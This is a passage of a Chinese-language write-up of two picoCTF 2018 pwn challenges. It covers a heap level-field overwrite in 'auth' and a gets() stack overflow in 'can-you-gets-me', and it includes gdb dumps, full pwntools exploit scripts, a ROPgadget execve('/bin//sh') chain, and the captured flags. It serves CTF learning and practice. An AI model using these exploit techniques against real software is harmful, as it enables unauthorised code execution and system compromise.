gdb-peda$ x/8x 0x603410 0x603410: 0x0000000000000000 0x0000000000000021 0x603420: 0x0000000000603440 <-*name 0x0000000000000003 0x603430: 0x0000000000000000 0x0000000000000021 0x603440: 0x0000000000000000 0x6161616161616161 <- over_name gdb-peda$ 0x603450: 0x0000000000000000 0x0000000000020bb1 0x603460: 0x0000000000000000 0x0000000000000000 0x603470: 0x0000000000000000 0x0000000000000000 0x603480: 0x0000000000000000 0x0000000000000000
发现0x603440里的值已经置为NULL了，但0x603448部分的值却没被清0，又因为我们的name可以输入很长，并且在建立账号时并没有对level置0操作，所以如果我们去构造一个name使其可以覆盖到下一个堆的level位就可以做到下一个账号的level位可以任意修改
我们再建一个账号看看下一个账号的level位和前一个账号的name的相对位置
gdb-peda$ x/8x 0x603410 0x603410: 0x0000000000000000 0x0000000000000021 0x603420: 0x0000000000603440 0x0000000000000000 0x603430: 0x0000000000000000 <-name 0x0000000000000021 0x603440: 0x0000000000603460 0x0000000000000003 <-level
通过计算我们可以很容易得到name的起始位置和下一个账号的level位距离位8，那么我们直接构造’a’*0x8+p64(5)就能设好下一个账号的level位
EXP
from pwn import*
context(os='linux',arch='amd64',log_level='debug')
n = remote('2018shell2.picoctf.com',41208)
#n = process('./auth')
elf = ELF('./auth')
def reset():
n.recvuntil('> ')
n.sendline('reset')
def login(name):
n.recvuntil('> ')
n.sendline('login '+name)
def getflag():
n.sendline('get-flag')
payload = 'a'*8+p64(5)
login(payload)
gdb.attach(n)
reset()
login('Ep3ius')
getflag()
n.interactive()
FLAG
picoCTF{m3sS1nG_w1tH_tH3_h43p_bc7d345a}
can-you-gets-me
➜ can-you-gets-me file gets
gets: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.32, BuildID[sha1]=4141b1e04d2e7f1623a4b8923f0f87779c0827ee, not stripped
➜ can-you-gets-me checksec gets
[*] '/home/Ep3ius/pwn/process/picoCTF2018/can-you-gets-me/gets'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 16
void vuln() {
char buf[16];
printf("GIVE ME YOUR NAME!n");
return gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
}
看了一波源码，只给了一个gets和printf，一开始我还想说是不是用ret2dl-resolve，后来肝了一天都没肝出，查报错的时候发现没办法找到plt表，就在想这个会不会是静态编译的文件，就用ldd检查了下
➜ can-you-gets-me ldd gets
不是动态可执行文件
➜ can-you-gets-me
emmmm，居然还真是静态库编译的那么我们试试用ropgadget的ropchain来构造ROP链玄学一键getshell
ROPgadget --binary gets --ropchain
- Step 5 -- Build the ROP chain
#!/usr/bin/env python2
# execve generated by ROPgadget
from struct import pack
# Padding goes here
p = ''
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80
➜ can-you-gets-me
结果确实只要溢出后执行就能getshell了
EXP
from pwn import*
from struct import pack
n = process('./gets')
# Padding goes here
p = 'a'*0x18 + 'aaaa' # buf
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b81c6) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x080549db) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de955) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806f02a) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x08049303) # xor eax, eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0807a86f) # inc eax ; ret
p += pack('<I', 0x0806cc25) # int 0x80
n.recvuntil('NAME!')
n.sendline(p)
n.interactive()
FLAG
picoCTF{rOp_yOuR_wAY_tO_AnTHinG_cfdfc687}
以上所述就是小编给大家介绍的《picoCTFのpwn解析》，希望对大家有所帮助，如果大家有任何疑问请给我留言，小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持！
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